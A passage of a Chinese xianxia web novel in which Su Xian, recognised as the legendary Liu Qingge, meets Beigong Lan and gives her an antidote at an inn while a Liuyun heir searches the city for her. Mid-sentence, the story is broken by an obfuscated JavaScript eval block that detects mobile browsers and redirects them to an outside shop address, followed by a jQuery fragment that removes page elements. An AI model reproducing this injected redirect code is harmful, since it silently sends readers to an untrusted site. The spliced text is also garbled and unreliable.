柳云大会开至一半,柳云家主忽然离席,众人只是以为这位年轻有为的家主有事先行离席了。
一如既往,药香大会还在按照流程进行,只是奇怪的的今日来观看的人比前几日的少了好多,可这个念头也是在他们脑中闪过一瞬,便抛之脑后了。
这其中的缘由,在场的只有诗云知道是怎么一回事,在她看到柳云化释匆匆离开后,便明白苏闲他们已经离开药园了。
瞧见众人的注意力被分散后,诗云也瞧瞧离场了,在她的药炉一侧静静躺着一粒雪白的灵丹,凑近仔细看就会认出那是洗髓冰肌丸,看品相似乎比这次的彩头还要好上一些。
诗云不过刚出柳云府,就听到柳云城的空中传来沉闷的声音:“近日有不明贼人闯入柳云城,意欲偷盗宝物,现柳云城只进不出,全城戒备。”
什么狗屁理由,就这他竟然也说得出口,诗云心里嘀咕着,甩手便去飞仙居了,不知今日是否还能买到夜明醉,昨日的两天都被她喝了,师父一口都没尝到,心中实在是有些过意不去。
不过苏闲他们一行人离开药园后,便回到了原先在飞仙居的住处,到飞仙居的时候不过晌午刚过,楼下还有很多人在用饭菜。
前脚刚踏入飞仙居的门槛,便听到了外面天空中的音讯,苏闲冷笑一声:“这动作倒是快。”
这比苏闲预想的还要快一些,不过这理由确实是有些差强人意,不过她还以为会直接明面地下令来找她呢,看来这么多年,也是成熟了不少,怪不得能坐稳这家主之位,只是不知道这家主之位是否坐得问心无愧。
慕容尘去柜台那边询问之前的几间上房是否还在,而苏闲跟司礼则是找了一处空闲的桌子坐下歇息,顺手还倒了杯茶水喝着。
苏闲端着茶杯,刚碰到唇间,就听见身侧另一桌在低声嘀咕。
“这怎么好端端地就要封城了?”
“又有什么人敢进柳云偷盗宝物,我看是一些无知莽撞之辈,上不得什么台面。”
“谁又知道呢,光那柳云的机关阵法就够他们喝一壶的了,还有什么力气偷盗?”
一旁的人注意到旁边来人了,便将声音收了收,还微微侧头朝着苏闲他们看来,其中一名女子在看清苏闲的面容后惊呼:“是你!”
她猛然站起,手中的吃食悄然落在桌子上,眼睛直愣愣的看着苏闲,不知是惊慌还是惊讶。
身边的男子见到北宫岚忽然站了起来,手上的吃食也不顾了,很是奇怪,抬眼看向一脸震惊的北宫岚,问道:“小师妹,怎么了?”
“师兄……是她……”北宫岚颤声道,“雪山,红衣。”
先前在苍雪山,苏闲和慕容尘离开的时候,有人认出了苏闲就是当年在苍雪山叱咤风云的柳清歌。
一袭红衣,搅动雪山。
她也听雪山中的老人讲述了很多柳清歌的事迹,再加上与苏闲之间的交手,瞬间有些悔不当初,自己还不自量力的偷袭她,顿感自己有些像跳梁小丑。
今日在这里遇见苏闲,虽然有些意外,但是冷静下来一想似乎也很合理,她本就是柳云的人,出现在这里当然很正常。
“什么雪山,红衣?”师兄一头雾水的看着惊慌的北宫岚,“你这是看到什么了?”
听到师兄的询问,北宫岚微微冷静了几分,她深吸一口气,又看了一眼隔壁的苏闲,低声道:“柳清歌,是柳清歌。”
师兄微楞,似乎对这个名字不熟悉,但又听着很耳熟:“谁?柳清歌是谁?”
他们这年轻一辈,很少有人听说过柳清歌的事迹的了,就像慕容尘,最多就是小时候听家里的长辈提过一嘴,但是往后数十年中再无人提及。
关于柳清歌的故事正在被世人淡忘,不过三百年的光景,就只剩下跟柳清歌同辈的人还记得,那是一个可望不可及的人,是他们年轻时花尽心血也要追赶的目标,惊艳了一生的人。
世人不愿在提及的原因大多都是柳清歌太惊艳了,随之伴随的还有那无形的压力,在柳清歌面前他们什么都不是,身为世家子弟的他们日日养尊处优,自尊心又何其的强,怎又甘愿自己和自己的子孙日日活在别人的影子中。
恰好,从那日起,柳清歌便没了踪迹,随之几年后柳云世家便传出了柳清歌的死讯,有人相信,有人不信,但事实就是柳清歌确实消失了。
就这样,大家不约而同的都开始不提及柳清歌,随着时间的推移,世人也渐渐淡忘了还有柳清歌这么一个天之骄子,但是也不是什么真的淡忘了,而是选择了逃避。
直到这几日,柳清歌这个名字才被又提及,不知是有人刻意安排,还是真的有人还记得。
师兄这才有点记起来这个名字在哪听过,那日晚上他们刚到这飞仙居就听见里面的说书先生正在讲柳清歌的故事,出于好奇心他便听了几句,心中还不停的感慨,天妒英才。
记起来的师兄微微有些激动,他扯了扯北宫岚的衣袖,顺着她的目光看去隔壁桌,只看到一名衣着朴素的普通女子和一名华服男子,根据说书先生的描述,柳清歌应是一名女子,可是他看那女子周生似乎没有什么灵力,不太像是那柳清歌,而在看到那华服男子时,脸色微微一变,是礼家的小少爷。
苏闲将手中的茶杯放在桌子上,同时也察觉到了隔壁桌的目光了,她微微侧头看向那两人,视线正好对上了:“二位盯着我们看是有什么事吗?”
眼前的两人,看穿着像是哪个世家的子弟,不过苏闲瞧着那位女子有些眼熟,好似在哪里见过,不过一时间有些想不起来。
忽然身侧的司礼说道:“师祖,我认得他们,是北宫家的少主北宫瀚,另一位应该是他的小师妹北宫岚。”
“北宫岚?”苏闲低声念道,“我想起来了,苍雪山上,我们见过。”
北宫岚听到司礼唤苏闲师祖,心中一惊,她也是没有想到原来苏闲还是这礼家小少爷的师祖,瞬间感觉自己惹了不该惹的人物。
他们都认识这位礼家的小少爷司礼,是礼家嫡亲的子弟,修炼天赋极高,舅舅还是修仙界的数一数二的高手,在外人看来,司礼已经是未来的礼家少主了,只是礼家碍于司礼年幼便没有对外公布,但大家心里都清楚的很。
“那时不知柳前辈的身份,多有冒犯,还请见谅。”北宫岚抬手作揖躬身,赔笑道,“那日前辈离开后,听雪山的老人说起才知道,今日能在这里遇到,便诚心向前辈赔罪。”
苏闲不是很在意这些虚礼,但是看到北宫岚如此做派,心中还是有些小小的惊讶,也是没有想到她竟如此能屈能伸,全然没了那日的傲气。
“无妨,无妨。”苏闲摆了摆手,随后想到了自己还给她下过毒,便问道,“你身上的毒解了?”
北宫岚面露难色,她自是知道苏闲所指的是什么毒,就是那时在洞穴外面
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17328366|194977||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
下的毒,自然是没有解,只是先用灵力压制住了,但是每过十几日便会毒发一下,甚是煎熬。
见北宫岚迟迟未回话,她抬眼看向北宫岚的面容,表面上确实是看不出来中毒的痕迹,但是细细看,就能看到眼底下那淡淡的乌青。
看着就是还没解毒,苏闲从袖中掏出一个小药瓶,抬手扔给身后的北宫岚:“连着吃三日就能将你体内的毒素清理干净了。”
北宫岚赶紧接住药瓶,也没仔细看着药瓶,便从中倒出一粒药丸服下了,顿感身体里的毒素减轻了一分。
一旁的北宫瀚见自己的小师妹拿到了解药也是十分感激眼前的苏闲:“师妹中毒至今寻药无果,本以为会无药可医,没想到今日得救,多谢柳前辈赐药。”
听完后苏闲微微皱眉,似乎这北宫瀚不知道那毒是她下的,看来是北宫岚没有告诉他,不过这毒是苏闲自己研制的,他们哪能轻易寻到解药。
这时慕容尘拿着弄好的房牌走过来了:“先前的那几间房,掌柜的还给我们留着呢。”
苏闲接过房牌便起身上楼了,刚过来的慕容尘停在了北宫岚面前,冷眼看了一会忽声问道:“雪山,红衣是什么意思?”
一时间北宫岚有些错愕,她没有想到自己刚刚随口说的话被远处的慕容尘听了去,便解释道:“我也是听苍雪山的老人讲的,你们利用千里传送阵离开后有人认出了柳前辈,跟我们讲述了一些柳前辈一身红衣一柄逐月将苍雪山搅得天翻地覆的事,当时大家都唤她雪山红衣客。”
话音刚落,慕容尘眸底微闪,一些事情便也想得通了,他抬眸望向苏闲上楼的背影,心底却是有一丝心疼。
他正想拉着司礼跟上去,却被一声呵斥声打断了。
“封锁飞仙楼,搜查贼人!”
又是一名贵公子,手拿着一幅画像踏进了飞仙居,身后紧跟的是数十名身着柳云制服的修士,一个个都紧握佩剑闯了进来,将楼内的所有人围在楼内禁止走动。
原本还在乐呵呵用餐的客人顿时就不乐意了,他们也不是什么寻常的修士,也都是一些有头有脸的世家子弟,虽然不是什么四大家,但是多多少少都还是有些傲气的。
北宫瀚这些年来见过不少大大小小的世家子弟,自是认得这位拿着画像闯进来的贵公子,他笑脸相迎:“是信少爷啊,怎得搜查贼人还劳烦您亲自出手?”
柳云信则是一脸傲气,瞥了一眼北宫瀚,并未理会他,而是垂眸又看了一眼画像,这画像上画着一名年轻女子,容貌甚是姣好。
他将画像摊至北宫瀚的眼前,高声问道:“见过这个女子吗?”
北宫瀚微微躬身,睁大眼睛凑上去一看,瞬间整个人直打哆嗦,画像看着有些老旧,许多地方已经掉色了,但是还是能清楚的看清那勾勒之人的面容,他何止是见过,还跟她说过话呢。
柳云信看出了北宫瀚的异常,抬手将画像收回手中:“她现在在哪?”
“她在……”北宫瀚慌乱的眼神看了看柳云信,然后有转身看向还没有上楼的慕容尘和司礼,心中直打鼓,他是说还是不说?
在他还犹豫的时候,柳云信手中的灵剑已经微微出鞘了:“她在哪?”
忽然楼上传来一声清冷的声音,是女子的声音,将楼下众人的注意力吸引了上去。
“柳云信,我在这。”
“论辈分,你当唤我一声姑姑。”